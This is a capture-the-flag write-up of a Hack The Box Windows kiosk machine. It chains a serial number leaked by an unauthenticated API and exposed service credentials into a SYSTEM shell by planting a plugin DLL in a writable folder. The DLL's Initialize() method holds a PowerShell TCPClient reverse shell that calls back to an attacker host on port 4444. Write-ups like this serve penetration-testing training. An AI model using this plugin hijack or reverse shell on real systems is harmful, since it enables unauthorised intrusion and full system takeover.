Hack The Box · Windows · Web → SYSTEM
A kiosk box themed around airport check-in. An unauthenticated API endpoint hands over the device serial, the serial is the admin password, and the admin dashboard hands over kiosk credentials. From there, decompiling a .NET printer service reveals a plugin loader that runs as SYSTEM — and the kiosk user already has write access to the plugin folder.
A full TCP scan of the target comes back with a compact surface. No web-on-80, no SMB, nothing obviously enterprise-shaped:
: discovered 4 open TCP ports 135/tcp msrpc 3389/tcp ms-wbt-server # RDP 5985/tcp wsman # WinRM 8443/tcp http # Nexion DeviceHub — the interesting one Service scan: 8443 → Node.js HTTP "Nexion DeviceHub v1.4.2" Host: KIOSK-042 (Windows 11/Server 2025 Build 26100)
Port 8443 is a web interface for something called Nexion DeviceHub. That name is unfamiliar, which is always a good sign for a box.
Pulling up the DeviceHub login page in a browser shows a clean form and a helpful note: "The default password is the device serial number." That would be useful if the serial were public anywhere. As it turns out, it is:
GET /api/status → 200 OK
{
"device": "Nexion DeviceHub DH-100",
"serial": "NX-DH-2024-B7042",
"firmware": "1.4.2",
"status": "online",
"uptime": 83227
}
The serial is right there, completely unauthenticated. One POST to /login with that serial as the password and the server returns a session cookie with a redirect to /dashboard.
The dashboard itself turns out to be generous. It has a scanner section, a printer section, a logs view, and — once you click around the settings toggle — a credentials reveal for the account the hardware uses to run its scanner and printer services:
POST /login password=NX-DH-2024-B7042 → 302 /dashboard
/dashboard → toggleCred() reveals:
username: KioskUser
password: <redacted> # service account password stored in plain JS
So two credential exposures chained together from a single unauthenticated request. The serial unlocks the management interface; the management interface stores the service account credentials in client-side JavaScript that anyone logged in can view.
KioskUser can RDP to the box. Standard NLA and TLS both get rejected, so the connection needs /sec:rdp to negotiate the older RDP security layer. That works, and the session drops straight into an airport kiosk:
RDP → LOGIN → KIOSK SESSION HTB AIRWAYS SELF CHECK-IN Terminal 4, Gate B7 Kiosk #042 [ Language: English (US) ] [ Check-In Form: Booking reference / Last name ]
The kiosk app runs inside a locked-down Edge session pointing at localhost:5173. The physical keyboard does not register in the touch fields, which is the whole point of the box name — this was designed to be a touchscreen kiosk. The app also ties into another box (Layover), where you would have obtained a booking reference to submit here. But the privilege escalation path does not require interacting with the kiosk at all.
Getting past the kiosk is a matter of abusing a standard kiosk escape vector — finding a dialog or UI element that exposes a real file browser or run dialog and using that to spawn a shell. Once out, we have a proper command prompt as KIOSK-042\KioskUser and the user flag is sitting on the Desktop.
From the kiosk user shell there is a clear next step: the DeviceHub dashboard has a printer restart endpoint, and the Nexion printer service is running on this machine. Let's look at what it does.
The Nexion binaries in C:\Program Files\Nexion Systems\ are .NET assemblies, which means they decompile cleanly. Opening NexionPrinter.dll in a decompiler and scanning through the class tree surfaces something in the plugin loader:
public void LoadPlugins() {
string pluginDir = Path.Combine(baseDir, "plugins");
foreach (string dll in Directory.GetFiles(pluginDir, "*.dll")) {
Assembly asm = Assembly.LoadFrom(dll); // loads any .dll found here
Type t = asm.GetType("NexionPlugin.Plugin");
object inst = Activator.CreateInstance(t);
t.GetMethod("Initialize").Invoke(inst, null); // calls Initialize() on load
}
}
Every DLL in the plugins folder gets loaded and its Initialize() method gets called. The service runs as NT AUTHORITY\SYSTEM. The question is whether we can write to that folder.
icacls "C:\Program Files\Nexion Systems\Printer\publish\plugins"
KIOSK-042\Printer Administrators (OI)(CI)(M) # Modify — readable, writable, deletable
NT AUTHORITY\SYSTEM (OI)(CI)(F)
BUILTIN\Administrators (OI)(CI)(F)
net localgroup "Printer Administrators"
KioskUser # we are in this group
KioskUser is in the Printer Administrators local group, and that group has full Modify rights on the plugin directory. We can drop any DLL we want in there.
The next step is writing a minimal .NET class library that implements the expected interface. The plugin just needs a public class named NexionPlugin.Plugin with an Initialize() method. We put a reverse shell callback inside that method, compile with the .NET SDK targeting the same framework version the service uses, and transfer the resulting DLL to the plugins folder.
namespace NexionPlugin {
public class Plugin {
public void Initialize() {
// reverse shell callback
var ps = new System.Diagnostics.Process();
ps.StartInfo.FileName = "cmd.exe";
ps.StartInfo.Arguments = "/c powershell -nop -c " +
"\"$c=New-Object Net.Sockets.TCPClient('<attacker>',4444);" +
"$s=$c.GetStream();[byte[]]$b=0..65535;...\"";
ps.Start();
}
}
}
With the DLL in place, a single POST to the DeviceHub API triggers the reload:
POST /api/printer/restart
Cookie: nxsession=<our session cookie>
→ {"success": true, "message": "Printer service restarted"}
SYSTEM shell callback received:
nt authority\system
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
HTB{1ad5fa...}
| Attempt | Why it failed |
|---|---|
| WinRM as KioskUser | The account does not have remote management rights; connection refused |
| Path traversal in test-image upload | The filename parameter is ignored; uploads always go to a fixed-location store regardless of the supplied name |
| SSRF via scanner calibrate endpoint | The url and target parameters are accepted but never actually fetched; server returns success immediately with no outbound request |
| MySQL UDF escalation | The kiosk database account does not have the privileges needed to register a UDF; blocked at the SQL layer |
| Kiosk GUI automation | An RDP session with no kiosk app present rendered a blank desktop; the kiosk process is not reliably attached to the new session |